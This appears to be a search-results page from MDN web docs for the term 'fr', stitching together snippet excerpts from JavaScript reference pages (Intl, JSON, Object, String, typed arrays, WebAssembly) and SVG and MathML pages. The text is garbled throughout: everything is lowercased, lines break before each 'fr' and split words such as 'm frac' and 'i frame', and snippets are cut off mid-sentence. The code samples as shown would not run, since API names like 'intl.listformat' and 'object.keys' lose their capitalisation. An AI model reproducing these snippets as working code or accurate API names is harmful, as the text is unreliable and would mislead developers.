... examples using formattoparts const
fruits = ['apple', 'orange', 'pineapple']; const mylistformat = new intl.listformat('en-gb', { style: 'long', type: 'conjunction' }); console.table(mylistformat.formattoparts(
fruits)); // [ // { "type": "element", "value": "apple" }, // { "type": "literal", "value": ", " }, // { "type": "element", "value": "orange" }, // { "type": "literal", "value": ", and " }, // { "type": "element", "value": "pineapple" } // ] specifications specification intl.listformatthe definition of 'formattoparts()' in that specification.
Intl.Locale.prototype.collation - JavaScript
it is used whenever strings must be sorted and placed into a certain order,
from search query results to ordering records in a database.
... while the idea of placing strings in order might seem trivial, the idea of order can vary
from region to region and language to language.
... below is a table with the available collation types, taken
from the unicode collation specification.
Intl.Locale.prototype.maximize() - JavaScript
examples using maximize let mylocale = new intl.locale("
fr", {hourcycle: "h24", calendar: "gregory"}); console.log(mylocale.basename); // prints "
fr" console.log(mylocale.tostring()); // prints "
fr-u-ca-gregory-hc-h24" let mylocmaximized = mylocale.maximize(); // prints "
fr-latn-
fr".
... the "latn" and "
fr" tags are added, // since
french is only written in the latin script and is most likely to be spoken in
france.
... console.log(mylocmaximized.basename); // prints "
fr-latn-
fr-u-ca-gregory-hc-h24".
Intl.Locale.prototype.minimize() - JavaScript
description this method carries out the reverse of maximize(), removing any language, script, or region subtags
from the locale language identifier (essentially the contents of basename).
... examples using minimize let mylocale = new intl.locale("
fr-latn-
fr", {hourcycle: "h24", calendar: "gregory"}); console.log(mylocale.basename); // prints "
fr-latn-
fr" console.log(mylocale.tostring()); // prints "
fr-latn-
fr-u-ca-gregory-hc-h24" let mylocminimized = mylocale.minimize(); // prints "
fr", since
french is only written in the latin script // and is most likely to be spoken in
france.
... console.log(mylocminimized.basename); // prints "
fr-u-ca-gregory-hc-h24".
Intl.NumberFormat.prototype.formatToParts() - JavaScript
it returns an array of objects containing the locale-specific tokens
from which it possible to build custom strings while preserving the locale-specific parts.
...
fraction the
fraction number.
...the formattoparts method enables locale-aware formatting of strings produced by numberformat formatters by providing you the string in parts: formatter.formattoparts(number); // return value: [ { type: "integer", value: "3" }, { type: "group", value: "." }, { type: "integer", value: "500" }, { type: "decimal", value: "," }, { type: "
fraction", value: "00" }, { type: "literal", value: " " }, { type: "currency", value: "€" } ] now the information is available separately and it can be formatted and concatenated again in a customized way.
Intl.PluralRules.prototype.resolvedOptions() - JavaScript
pluralcategories an array of plural categories used by the given locale, seleced
from the list "zero", "one", "two", "few", "many" and "other".
... only one of the following two groups of properties is included: minimumintegerdigits minimum
fractiondigits maximum
fractiondigits the values provided for these properties in the options argument or filled in as defaults.
... examples using the resolvedoptions method var de = new intl.pluralrules('de-de'); var usedoptions = de.resolvedoptions(); usedoptions.locale; // "de-de" usedoptions.maximum
fractiondigits; // 3 usedoptions.minimum
fractiondigits; // 0 usedoptions.minimumintegerdigits; // 1 usedoptions.pluralcategories; // array [ "one", "other" ] usedoptions.type; // "cardinal" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.pluralrules.prototype.resolvedoptions' in that specification.
JSON.parse() - JavaScript
polyfill //
from https://github.com/douglascrockford/json-js/blob/master/json2.js if (typeof json.parse !== "function") { var rx_one = /^[\],:{}\s]*$/; var rx_two = /\\(?:["\\\/bfnrt]|u[0-9a-fa-f]{4})/g; var rx_three = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[ee][+\-]?\d+)?/g; var rx_four = /(?:^|:|,)(?:\s*\[)+/g; var rx_dangerous = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200...
...if the reviver function returns undefined (or returns no value, for example, if execution falls off the end of the function), the property is deleted
from the object.
... if the reviver only transforms some values and not others, be certain to return all untransformed values as-is, otherwise, they will be deleted
from the resulting object.
JSON - JavaScript
it can't be called or constructed, and aside
from its two method properties, it has no interesting functionality of its own.
...it is based upon javascript syntax but is distinct
from it: some javascript is not json.
...for those who wish to use a more human-
friendly configuration format based on json, there is json5, used by the babel compiler, and the more commonly used yaml.
Math.round() - JavaScript
description if the
fractional portion of the argument is greater than 0.5, the argument is rounded to the integer with the next higher absolute value.
... if the
fractional portion is exactly 0.5, the argument is rounded to the next integer in the direction of +∞.
... note that this differs
from many languages' round() functions, which often round this case to the next integer away
from zero, instead giving a different result in the case of negative numbers with a
fractional part of exactly 0.5.
Math - JavaScript
math.expm1(x) returns subtracting 1
from exp(x).
... math.
fround(x) returns the nearest single precision float representation of x.
... math.trunc(x) returns the integer portion of x, removing any
fractional digits.
Object.isExtensible() - JavaScript
an object can be marked as non-extensible using object.preventextensions(), object.seal(), or object.
freeze().
...var sealed = object.seal({}); object.isextensible(sealed); // === false //
frozen objects are also by definition non-extensible.
... var
frozen = object.
freeze({}); object.isextensible(
frozen); // === false non-object coercion in es5, if the argument to this method is not an object (a primitive), then it will cause a typeerror.
Object.prototype.isPrototypeOf() - JavaScript
isprototypeof() differs
from the instanceof operator.
...new baz(); console.log(baz.prototype.isprototypeof(baz)); // true console.log(bar.prototype.isprototypeof(baz)); // true console.log(foo.prototype.isprototypeof(baz)); // true console.log(object.prototype.isprototypeof(baz)); // true isprototypeof() method, along with the instanceof operator particularly comes in handy if you have code that can only function when dealing with objects descended
from a specific prototype chain, e.g., to guarantee that certain methods or properties will be present on that object.
... for example, check if baz object descends
from foo.prototype: if (foo.prototype.isprototypeof(baz)) { // do something safe } specifications specification ecmascript (ecma-262)the definition of 'object.prototype.isprototypeof' in that specification.
Object.keys() - JavaScript
polyfill to add compatible object.keys support in older environments that do not natively support it, copy the following snippet: //
from /docs/web/javascript/reference/global_objects/object/keys if (!object.keys) { object.keys = (function() { 'use strict'; var hasownproperty = object.prototype.hasownproperty, hasdontenumbug = !({ tostring: null }).propertyisenumerable('tostring'), dontenums = [ 'tostring', 'tolocalestring', 'valueof', 'hasownproperty', '...
... result.push(prop); } } if (hasdontenumbug) { for (i = 0; i < dontenumslength; i++) { if (hasownproperty.call(obj, dontenums[i])) { result.push(dontenums[i]); } } } return result; }; }()); } please note that the above code includes non-enumerable keys in ie7 (and maybe ie8), when passing in an object
from a different window.
...
from es2015 onwards, a non-object argument will be coerced to an object.
Object.prototype.toLocaleString() - JavaScript
typedarray: typedarray.prototype.tolocalestring() bigint: bigint.prototype.tolocalestring() examples array tolocalestring() override on array objects, tolocalestring() can be used to print array values as a string, optionally with locale-specific identifiers (such as currency symbols) appended to them: for example: const testarray = [4, 7, 10]; let europrices = testarray.tolocalestring('
fr', { style: 'currency', currency: 'eur'}); // "4,00 €,7,00 €,10,00 €" date tolocalestring() override on date objects, tolocalestring() is used to print out date displays more suitable for specific locales: for example: const testdate = new date(date.now()); // "date
fri may 29 2020 18:04:24 gmt+0100 (british summer time)" let dedate = testdate.tolocalestring('de'); // "29.5.2020, 18:04:...
...24" var
frdate = testdate.tolocalestring('
fr'); //"29/05/2020 à 18:04:24" number tolocalestring() override on number objects, tolocalestring() is used to print out number displays more suitable for specific locales, e.g.
... with the correct separators: for example: const testnumber = 2901234564; // "2901234564" let denumber = testnumber.tolocalestring('de'); // "2.901.234.564" let
frnumber = testnumber.tolocalestring('
fr'); // "2 901 234 564" specifications specification ecmascript (ecma-262)the definition of 'object.prototype.tolocalestring' in that specification.
Reflect.preventExtensions() - JavaScript
the static reflect.preventextensions() method prevents new properties
from ever being added to an object (i.e., prevents future extensions to the object).
... description the reflect.preventextensions() method allows you to prevent new properties
from ever being added to an object (i.e., prevents future extensions to the object).
...reflect.preventextensions(empty) reflect.isextensible(empty) // === false difference
from object.preventextensions() if the target argument to this method is not an object (a primitive), then it will cause a typeerror.
RegExp() constructor - JavaScript
y (sticky) matches only
from the index indicated by the lastindex property of this regular expression in the target string.
... does not attempt to match
from any later indexes.
...use the constructor function when you know the regular expression pattern will be changing, or you don't know the pattern and are getting it
from another source, such as user input.
String.prototype.matchAll() - JavaScript
instead, by using matchall, you get an iterator to use with the more convenient for...of, array spread, or array.
from() constructs: const regexp = regexp('foo[a-z]*','g'); const str = 'table football, foosball'; const matches = str.matchall(regexp); for (const match of matches) { console.log(`found ${match[0]} start=${match.index} end=${match.index + match[0].length}.`); } // expected output: "found football start=6 end=14." // expected output: "found foosball start=16 end=24." // matches iterator is exha...
...usted after the for..of iteration // call matchall again to create a new iterator array.
from(str.matchall(regexp), m => m[0]); // array [ "football", "foosball" ] matchall will throw an exception if the g flag is missing.
... const regexp = regexp('[a-c]','g'); regexp.lastindex = 1; const str = 'abc'; array.
from(str.matchall(regexp), m => `${regexp.lastindex} ${m[0]}`); // array [ "1 b", "1 c" ] better access to capturing groups (than string.prototype.match()) another compelling reason for matchall is the improved access to capture groups.
String.prototype.padStart() - JavaScript
the padding is applied
from the start of the current string.
...if padstring is too long to stay within the targetlength, it will be truncated
from the end.
... return value a string of the specified targetlength with padstring applied
from the start.
String.prototype.substr() - JavaScript
description substr() extracts length characters
from a str, counting
from the start index.
... if start is a negative number, the index starts counting
from the end of the string.
...* get the substring of a string * @param {integer} start where to start the substring * @param {integer} length how many characters to return * @return {string} */ string.prototype.substr = function(substr) { return function(start, length) { // call the original method return substr.call(this, // did we get a negative start, calculate how much it is
from the beginning of the string // adjust the start parameter for negative value start < 0 ?
String.prototype.trimEnd() - JavaScript
the trimend() method removes whitespace
from the end of a string.
... syntax str.trimend(); str.trimright(); return value a new string representing the calling string stripped of whitespace
from its (right) end.
... description the trimend() / trimright() methods return the string stripped of whitespace
from its right end.
String.prototype.trimStart() - JavaScript
the trimstart() method removes whitespace
from the beginning of a string.
... syntax str.trimstart(); str.trimleft(); return value a new string representing the calling string stripped of whitespace
from its beginning (left end).
... description the trimstart() / trimleft() methods return the string stripped of whitespace
from its left end.
TypedArray.prototype.copyWithin() - JavaScript
the copy is taken
from the index positions of the second and third arguments start and end.
... start source start index position where to start copying elements
from.
...source end index position where to end copying elements
from.
TypedArray.prototype.reduce() - JavaScript
the reduce() method applies a function against an accumulator and each value of the typed array (
from left-to-right) has to reduce it to a single value.
... return value the value that results
from the reduction.
... description the reduce method executes the callback function once for each element present in the typed array, excluding holes in the typed array, receiving four arguments: the initial value (or value
from the previous callback call), the value of the current element, the current index, and the typed array over which iteration is occurring.
TypedArray.prototype.reduceRight() - JavaScript
the reduceright() method applies a function against an accumulator and each value of the typed array (
from right-to-left) has to reduce it to a single value.
... return value the value that results
from the reduction.
... description the reduceright method executes the callback function once for each element present in the typed array, excluding holes in the typed array, receiving four arguments: the initial value (or value
from the previous callback call), the value of the current element, the current index, and the typed array over which iteration is occurring.
Uint16Array() constructor - JavaScript
object when called with an object argument, a new typed array is created as if by the typedarray.
from() method.
...calling a uint16array constructor as a function without new, will throw a typeerror
from now on.
... var dv = uint16array([1, 2, 3]); // typeerror: calling a builtin uint16array constructor // without new is forbidden var dv = new uint16array([1, 2, 3]); examples different ways to create a uint16array //
from a length var uint16 = new uint16array(2); uint16[0] = 42; console.log(uint16[0]); // 42 console.log(uint16.length); // 2 console.log(uint16.bytes_per_element); // 2 //
from an array var arr = new uint16array([21,31]); console.log(arr[1]); // 31 //
from another typedarray var x = new uint16array([21, 31]); var y = new uint16array(x); console.log(y[0]); // 21 //
from an arraybuffer var buffer = new arraybuffer(8); var z = new uint16array(buffer, 0, 4); //
from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var uint16 = new uint16array(iterable); // uint16array[1, ...
Uint32Array() constructor - JavaScript
object when called with an object argument, a new typed array is created as if by the typedarray.
from() method.
... examples different ways to create a uint32array //
from a length var uint32 = new uint32array(2); uint32[0] = 42; console.log(uint32[0]); // 42 console.log(uint32.length); // 2 console.log(uint32.bytes_per_element); // 4 //
from an array var arr = new uint32array([21,31]); console.log(arr[1]); // 31 //
from another typedarray var x = new uint32array([21, 31]); var y = new uint32array(x); console.log(y[0]); // 21 //
from an arraybuffer var buffer ...
...= new arraybuffer(16); var z = new uint32array(buffer, 0, 4); //
from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var uint32 = new uint32array(iterable); // uint32array[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Uint8Array() constructor - JavaScript
object when called with an object argument, a new typed array is created as if by the typedarray.
from() method.
... examples different ways to create a uint8array //
from a length var uint8 = new uint8array(2); uint8[0] = 42; console.log(uint8[0]); // 42 console.log(uint8.length); // 2 console.log(uint8.bytes_per_element); // 1 //
from an array var arr = new uint8array([21,31]); console.log(arr[1]); // 31 //
from another typedarray var x = new uint8array([21, 31]); var y = new uint8array(x); console.log(y[0]); // 21 //
from an arraybuffer var buffer = new arr...
...aybuffer(8); var z = new uint8array(buffer, 1, 4); //
from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var uint8 = new uint8array(iterable); // uint8array[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
Uint8ClampedArray() constructor - JavaScript
object when called with an object argument, a new typed array is created as if by the typedarray.
from() method.
... examples different ways to create a uint8clampedarray //
from a length var uintc8 = new uint8clampedarray(2); uintc8[0] = 42; uintc8[1] = 1337; console.log(uintc8[0]); // 42 console.log(uintc8[1]); // 255 (clamped) console.log(uintc8.length); // 2 console.log(uintc8.bytes_per_element); // 1 //
from an array var arr = new uint8clampedarray([21,31]); console.log(arr[1]); // 31 //
from another typedarray var x = new uint8clampedarray([21, 31]); var y = new...
... uint8clampedarray(x); console.log(y[0]); // 21 //
from an arraybuffer var buffer = new arraybuffer(8); var z = new uint8clampedarray(buffer, 1, 4); //
from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var uintc8 = new uint8clampedarray(iterable); // uint8clampedarray[1, 2, 3] specifications specification ecmascript (ecma-262)the definition of 'typedarray constructors' in that specification.
WeakMap - JavaScript
getting values
from the map would involve iterating through all keys to find a match, then using the index of this match to retrieve the corresponding value
from the array of values.
...these references prevent the keys
from being garbage collected, even if there are no other references to the object.
... this would also prevent the corresponding values
from being garbage collected.
WebAssembly.Global() constructor - JavaScript
a webassembly.global() constructor creates a new global object representing a global variable instance, accessible
from both javascript and importable/exportable across one or more webassembly.module instances.
...got: ${got}<br>`; } asserteq("webassembly.global exists", typeof webassembly.global, "function"); const global = new webassembly.global({value:'i32', mutable:true}, 0); webassembly.instantiatestreaming(fetch('global.wasm'), { js: { global } }) .then(({instance}) => { asserteq("getting initial value
from wasm", instance.exports.getglobal(), 0); global.value = 42; asserteq("getting js-updated value
from wasm", instance.exports.getglobal(), 42); instance.exports.incglobal(); asserteq("getting wasm-updated value
from js", global.value, 43); }); note: you can see the example running live on github; see also the source code.
... browser compatibility the compatibility table on this page is generated
from structured data.
WebAssembly.Instance - JavaScript
instance objects contain all the exported webassembly functions that allow calling into webassembly code
from javascript.
... instance properties instance.prototype.exports returns an object containing as its members all the functions exported
from the webassembly module instance, to allow them to be accessed and used by javascript.
... browser compatibility the compatibility table on this page is generated
from structured data.
WebAssembly.Memory - JavaScript
a memory created by javascript or in webassembly code will be accessible and mutable
from both javascript and webassembly.
...the first way is to construct it
from javascript.
... browser compatibility the compatibility table on this page is generated
from structured data.
WebAssembly.Table() constructor - JavaScript
so after instantiation, the table still has length 2, but the elements now contain callable exported webassembly functions which we can call
from js.
... this example shows that we're creating and accessing the table
from javascript, but the same table is visible and callable inside the wasm instance too.
... browser compatibility the compatibility table on this page is generated
from structured data.
WebAssembly.compileStreaming() - JavaScript
the webassembly.compilestreaming() function compiles a webassembly.module directly
from a streamed underlying source.
... examples compile streaming the following example (see our compile-streaming.html demo on github, and view it live also) directly streams a .wasm module
from an underlying source then compiles it to a webassembly.module object.
... browser compatibility the compatibility table on this page is generated
from structured data.
WebAssembly.instantiateStreaming() - JavaScript
the webassembly.instantiatestreaming() function compiles and instantiates a webassembly module directly
from a streamed underlying source.
... examples instantiating streaming the following example (see our instantiate-streaming.html demo on github, and view it live also) directly streams a .wasm module
from an underlying source then compiles and instantiates it, the promise fulfilling with a resultobject.
... browser compatibility the compatibility table on this page is generated
from structured data.
encodeURIComponent() - JavaScript
~ * ' ( ) encodeuricomponent() differs
from encodeuri as follows: var set1 = ";,/?:@&=+$"; // reserved characters var set2 = "-_.!~*'()"; // unescaped characters var set3 = "#"; // number sign var set4 = "abc abc 123"; // alphanumeric characters + space console.log(encodeuri(set1)); // ;,/?:@&=+$ console.log(encodeuri(set2)); // -_.!~*'() console.log(encodeuri(set3)); // # console.log(encodeuri(set4)); // abc%20abc%20123 (...
...encode a surrogate which is not part of a high-low pair, e.g., // high-low pair ok console.log(encodeuricomponent('\ud800\udfff')); // lone high surrogate throws "urierror: malformed uri sequence" console.log(encodeuricomponent('\ud800')); // lone low surrogate throws "urierror: malformed uri sequence" console.log(encodeuricomponent('\udfff')); use encodeuricomponent() on user-entered fields
from forms post'd to the server.
...// i.e., %27 %28 %29 %2a (note that valid encoding of "*" is %2a // which necessitates calling touppercase() to properly encode) // the following are not required for percent-encoding per rfc5987, // so we can allow for a little better readability over the wire: |`^ replace(/%(7c|60|5e)/g, (str, hex) => string.
fromcharcode(parseint(hex, 16))); } specifications specification ecmascript (ecma-262)the definition of 'encodeuricomponent' in that specification.
globalThis - JavaScript
on the web you can use window, self, or
frames - but in web workers only self will work.
... html and the windowproxy in many engines globalthis will be a reference to the actual global object, but in web browsers, due to i
frame and cross-window security considerations, it references a proxy around the actual global object (which you can't directly access).
... naming several other popular name choices such as self and global were removed
from consideration because of their potential to break compatibility with existing code.
parseInt() - JavaScript
return value an integer parsed
from the given string.
...(for example, a radix of 10 converts
from a decimal number, 8 converts
from octal, 16
from hexadecimal, and so on.) for radices above 10, letters of the english alphabet indicate numerals greater than 9.
... this differs
from ecmascript 3, which merely discouraged (but allowed) octal interpretation.
Spread syntax (...) - JavaScript
without spread syntax, this is done as: const arr1 = [0, 1, 2]; const arr2 = [3, 4, 5]; // append all items
from arr2 onto arr1 arr1 = arr1.concat(arr2); with spread syntax this becomes: let arr1 = [0, 1, 2]; let arr2 = [3, 4, 5]; arr1 = [...arr1, ...arr2]; // arr1 is now [0, 1, 2, 3, 4, 5] // note: not to use const otherwise, it will give typeerror (invalid assignment) array.prototype.unshift() is often used to insert an array of values at the start of an existing array.
... without spread syntax, this is done as: const arr1 = [0, 1, 2]; const arr2 = [3, 4, 5]; // prepend all items
from arr2 onto arr1 array.prototype.unshift.apply(arr1, arr2) // arr1 is now [3, 4, 5, 0, 1, 2] with spread syntax, this becomes: let arr1 = [0, 1, 2]; let arr2 = [3, 4, 5]; arr1 = [...arr2, ...arr1]; // arr1 is now [3, 4, 5, 0, 1, 2] note: unlike unshift(), this creates a new arr1, and does not modify the original arr1 array in-place.
...it copies own enumerable properties
from a provided object onto a new object.
new.target - JavaScript
in arrow functions, new.target is inherited
from the surrounding scope.
...this is also the case if the constructor is in a parent class and was delegated
from a child constructor.
... console.log(new.target.name) } } class b extends a { constructor() { super() } } let a = new a() // logs "a" let b = new b() // logs "b" class c { constructor() { console.log(new.target) } } class d extends c { constructor() { super() } } let c = new c() // logs class c{constructor(){console.log(new.target);}} let d = new d() // logs class d extends c{constructor(){super();}} thus
from the above example of class c and d, it seems that new.target points to the class definition of class which is initialized.
typeof - JavaScript
boolean() // symbols typeof symbol() === 'symbol' typeof symbol('foo') === 'symbol' typeof symbol.iterator === 'symbol' // undefined typeof undefined === 'undefined'; typeof declaredbutundefinedvariable === 'undefined'; typeof undeclaredvariable === 'undefined'; // objects typeof {a: 1} === 'object'; // use array.isarray or object.prototype.tostring.call // to differentiate regular objects
from arrays typeof [1, 2, 4] === 'object'; typeof new date() === 'object'; typeof /regex/ === 'object'; // see regular expressions section for historical results // the following are confusing, dangerous, and wasteful.
...block scoped variables are in a "temporal dead zone"
from the start of the block until the initialization is processed, during which, it will throw an error if accessed.
... typeof document.all === 'undefined'; although the specification allows custom type tags for non-standard exotic objects, it requires those type tags to be different
from the predefined ones.
Template literals (Template strings) - JavaScript
let str = string.raw`hi\n${2+3}!`; // "hi\n5!" str.length; // 6 array.
from(str).join(','); // "h,i,\,n,5,!" tagged templates and escape sequences es2016 behavior as of ecmascript 2016, tagged templates conform to the rules of the following escape sequences: unicode escapes started by "\u", for example \u00a9 unicode code point escapes indicated by "\u{}", for example \u{2f804} hexadecimal escapes started by "\x", for example \xa9 octal literal escapes starte...
...the ecmascript proposal template literal revision (stage 4, to be integrated in the ecmascript 2018 standard) removes the syntax restriction of ecmascript escape sequences
from tagged templates.
...they will show up as undefined element in the “cooked” array: function latex(str) { return { "cooked": str[0], "raw": str.raw[0] } } latex`\unicode` // { cooked: undefined, raw: "\\unicode" } note that the escape sequence restriction is only dropped
from tagged templates—not
from untagged template literals: let bad = `bad escape sequence: \unicode`; specifications specification ecmascript (ecma-262)the definition of 'template literals' in that specification.
MathML documentation index - MathML
html becomes verbose when your document contains advanced structures like lists or tables but fortunately there are many generators
from simple notations, wysiwyg editors and other content management systems to help writing web pages.
...it has been removed
from the latest mathml standard and modern browsers no longer support it.
... 15 <m
frac> mathml, mathml reference, mathml:element, mathml:general layout schemata the mathml <m
frac> element is used to display
fractions.
OpenSearch description format
opensearch description files can be advertised as described in autodiscovery of search plugins, and can be installed programmatically as described in adding search engines
from web pages.
...(you can generate a data: uri
from an icon file at the data: uri kitchen.) <image height="16" width="16" type="image/x-icon">https://example.com/favicon.ico</image> <!-- or --> <image height="16" width="16">data:image/x-icon;base64,aaabaaeaebaaa … daaa=</image> firefox caches the icon as a base64 data: uri (search plug-ins are stored in the profile's searchplugins/ folder).
... note: for icons loaded remotely (that is,
from https:// uris as opposed to data: uris), firefox will reject icons larger than 10 kilobytes.
Responsive Navigation Patterns - Progressive web apps (PWAs)
at that point, some items move
from the top navigation to a drop-down menu.
...at that point, some items move
from the top navigation to a drop-down menu.
...the user can flip the menu open and select
from the rest of the navigation items.
clip-rule - SVG: Scalable Vector Graphics
the following
fragment of code will cause an evenodd clipping rule to be applied to the clipping path because clip-rule is specified on the <path> element that defines the clipping shape: <g> <clippath id="myclip"> <path d="..." clip-rule="evenodd" /> </clippath> <rect clip-path="url(#myclip)" ...
... /> </g> whereas the following
fragment of code will not cause an evenodd clipping rule to be applied because the clip-rule is specified on the referencing element, not on the object defining the clipping shape: <g> <clippath id="myclip"> <path d="..." /> </clippath> <rect clip-path="url(#myclip)" clip-rule="evenodd" ...
... graphical elements » browser compatibility the compatibility table on this page is generated
from structured data.
gradientTransform - SVG: Scalable Vector Graphics
the gradienttransform attribute contains the definition of an optional additional transformation
from the gradient coordinate system onto the target coordinate system (i.e., userspaceonuse or objectboundingbox).
...this additional transformation matrix is post-multiplied to (i.e., inserted to the right of) any previously defined transformations, including the implicit transformation necessary to convert
from object bounding box units to user space.
...="0" width="200" height="200" fill="url(#gradient1)" /> <rect x="0" y="0" width="200" height="200" fill="url(#gradient2)" style="transform: translatex(220px);" /> </svg> usage notes default value identity transform value <transform-list> animatable yes <transform-list> a list of transformation functions specifying some additional transformation
from the gradient coordinate system onto the target coordinate system.
repeatCount - SVG: Scalable Vector Graphics
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y"
from="0" to="50" dur="1s" repeatcount="5"/> </rect> <rect x="120" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y"
from="0" to="50" dur="1s" repeatcount="indefinite"/> </rect> </svg> usage notes value <number> | indefinite default value none animatable no <number> this value specifies the numbe...
...it can include partial iterations expressed as
fraction values.
... a
fractional value describes a portion of the simple duration.
stroke-miterlimit - SVG: Scalable Vector Graphics
when the limit is exceeded, the join is converted
from a miter to a bevel.
...the stroke-miterlimit ratio is used to define when the limit is exceeded, if so the join is converted
from a miter to a bevel.
... browser compatibility the compatibility table on this page is generated
from structured data.
text-anchor - SVG: Scalable Vector Graphics
the text-anchor attribute is used to align (start-, middle- or end-alignment) a string of pre-formatted text or auto-wrapped text where the wrapping area is determined
from the inline-size property relative to a given point.
...each text chunk has an initial current text position, which represents the point in the user coordinate system resulting
from (depending on context) application of the x and y attributes on the <text> element, any x or y attribute values on a <tspan>, <tref> or <altglyph> element assigned explicitly to the first rendered character in a text chunk, or determination of the initial current text position for a <textpath> element.
... recommendation initial definition browser compatibility the compatibility table on this page is generated
from structured data.
vector-effect - SVG: Scalable Vector Graphics
the scale of that user coordinate system does not change in spite of any transformation changes
from a host coordinate space.
...the rotation and skew of that user coordinate system is suppressed in spite of any transformation changes
from a host coordinate space.
...the position of user coordinate system is fixed in spite of any transformation changes
from a host coordinate space.
x - SVG: Scalable Vector Graphics
if there are multiple values, x defines the x coordinate of each individual glyph
from the text.
... if there are multiple values, x defines the x coordinate of each individual glyph
from the text.
... if there are multiple values, x defines the x coordinate of each individual glyph
from the text.
y - SVG: Scalable Vector Graphics
if there are multiple values, y defines the y coordinate of each individual glyph
from the text.
... if there are multiple values, y defines the y coordinate of each individual glyph
from the text.
... if there are multiple values, y defines the y coordinate of each individual glyph
from the text.
SVG Attribute reference - SVG: Scalable Vector Graphics
svg attributes a to z a accent-height accumulate additive alignment-baseline allowreorder alphabetic amplitude arabic-form ascent attributename attributetype autoreverse azimuth b base
frequency baseline-shift baseprofile bbox begin bias by c calcmode cap-height class clip clippathunits clip-path clip-rule color color-interpolation color-interpolation-filters color-profile color-rendering contentscripttype contentstyletype cursor cx cy d d decelerate descent diffuseconstant direction display divisor dominant-baseline dur dx dy e edgem...
...ode elevation enable-background end exponent externalresourcesrequired f fill fill-opacity fill-rule filter filterres filterunits flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight format
from
fr fx fy g g1 g2 glyph-name glyph-orientation-horizontal glyph-orientation-vertical glyphref gradienttransform gradientunits h hanging height href hreflang horiz-adv-x horiz-origin-x i id ideographic image-rendering in in2 intercept k k k1 k2 k3 k4 kernelmatrix kernelunitlength kerning keypoints keysplines keytimes l lang lengthadjust letter-spacing lighting-color limitingconeangle local m marker-end marker-mid marker-start markerheight markerunit...
...rimitive attributes height, result, width, x, y transfer function attributes type, tablevalues, slope, intercept, amplitude, exponent, offset animation attributes animation attribute target attributes attributetype, attributename animation timing attributes begin, dur, end, min, max, restart, repeatcount, repeatdur, fill animation value attributes calcmode, values, keytimes, keysplines,
from, to, by, autoreverse, accelerate, decelerate animation addition attributes additive, accumulate event attributes animation event attributes onbegin, onend, onrepeat document event attributes onabort, onerror, onresize, onscroll, onunload global event attributes oncancel, oncanplay, oncanplaythrough, onchange, onclick, onclose, oncuechange, ondblclick, ondrag, ondragend, ondragenter, on...
<a> - SVG: Scalable Vector Graphics
value type: <string> ; default value: none; animatable: no href the url or url
fragment the hyperlink points to.
... value type: <url> ; default value: none; animatable: yes hreflang the human language of the url or url
fragment that the hyperlink points to.
... value type: <string> ; default value: none; animatable: yes xlink:href deprecated since svg 2 the url or url
fragment that the hyperlink points to.
<pattern> - SVG: Scalable Vector Graphics
patterntransform this attribute contains the definition of an optional additional transformation
from the pattern coordinate system onto the target coordinate system.
... value type: userspaceonuse|objectboundingbox; default value: objectboundingbox; animatable: yes preserveaspectratio this attribute defines how the svg
fragment must be deformed if it is embedded in a container with a different aspect ratio.
...; default value: xmidymid meet; animatable: yes viewbox this attribute defines the bound of the svg viewport for the pattern
fragment.
SVG animation with SMIL - SVG: Scalable Vector Graphics
from the initial value of the attribute.
... <svg width="300" height="100"> <title>attribute animation with smil</title> <rect x="0" y="0" width="300" height="100" stroke="black" stroke-width="1" /> <circle cx="0" cy="50" r="15" fill="blue" stroke="black" stroke-width="1"> <animate attributename="cx"
from="0" to="500" dur="5s" repeatcount="indefinite" /> </circle> </svg> animating the transform attributes the <animatetransform> element let you animate transform attributes.
... <svg width="300" height="100"> <title>svg smil animate with transform</title> <rect x="0" y="0" width="300" height="100" stroke="black" stroke-width="1" /> <rect x="0" y="50" width="15" height="34" fill="blue" stroke="black" stroke-width="1"> <animatetransform attributename="transform" begin="0s" dur="20s" type="rotate"
from="0 60 60" to="360 100 60" repeatcount="indefinite" /> </rect> </svg> animation following a path the <animatemotion> element lets you animate an element position and rotation according to a path.
Introduction - SVG: Scalable Vector Graphics
starting
from there, the svg image can become arbitrarily complex.
... before you start there are a number of drawing applications available such as inkscape which are
free and use svg as their native file format.
... apart
from the full svg recommendations, the working group at the w3c introduced svg tiny and svg basic in 2003.
SVG and CSS - SVG: Scalable Vector Graphics
note: elements referenced by <use> elements inherit the styles
from that element.
...copy and paste the content
from here, making sure that you scroll to get all of it: <svg width="600px" height="600px" viewbox="-300 -300 600 600" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>svg demonstration</title> <desc>mozilla css getting started - svg demonstration</desc> <defs> <radialgradient id="fade" cx="0" cy="0" r="200" gradientunits="userspaceonuse"> <stop id="fade-stop-1" offset="33%"/> <stop id="fade-stop-2" offset="95%"/> </radialgradient> </defs> <text id="heading" x="-280" y="-270">svg demonstration</text> <text id="caption" x="-280" y="-250">mov...
...copy and paste the content
from here, making sure that you scroll to get all of it: /*** svg demonstration ***/ /* page */ svg { background-color: beige; } #heading { font-size: 24px; font-weight: bold; } #caption { font-size: 12px; } /* flower */ #flower:hover { cursor: crosshair; } /* gradient */ #fade-stop-1 { stop-color: blue; } #fade-stop-2 { stop-color: white; } /* petals */ .segment-fill { fill:...
SVG fonts - SVG: Scalable Vector Graphics
internet explorer hasn't considered implementing this, the functionality has been removed
from chrome 38 (and opera 25) and firefox has postponed its implementation indefinitely to concentrate on woff.
...let's show an example declaration (the one
from the specification), and explain the details.
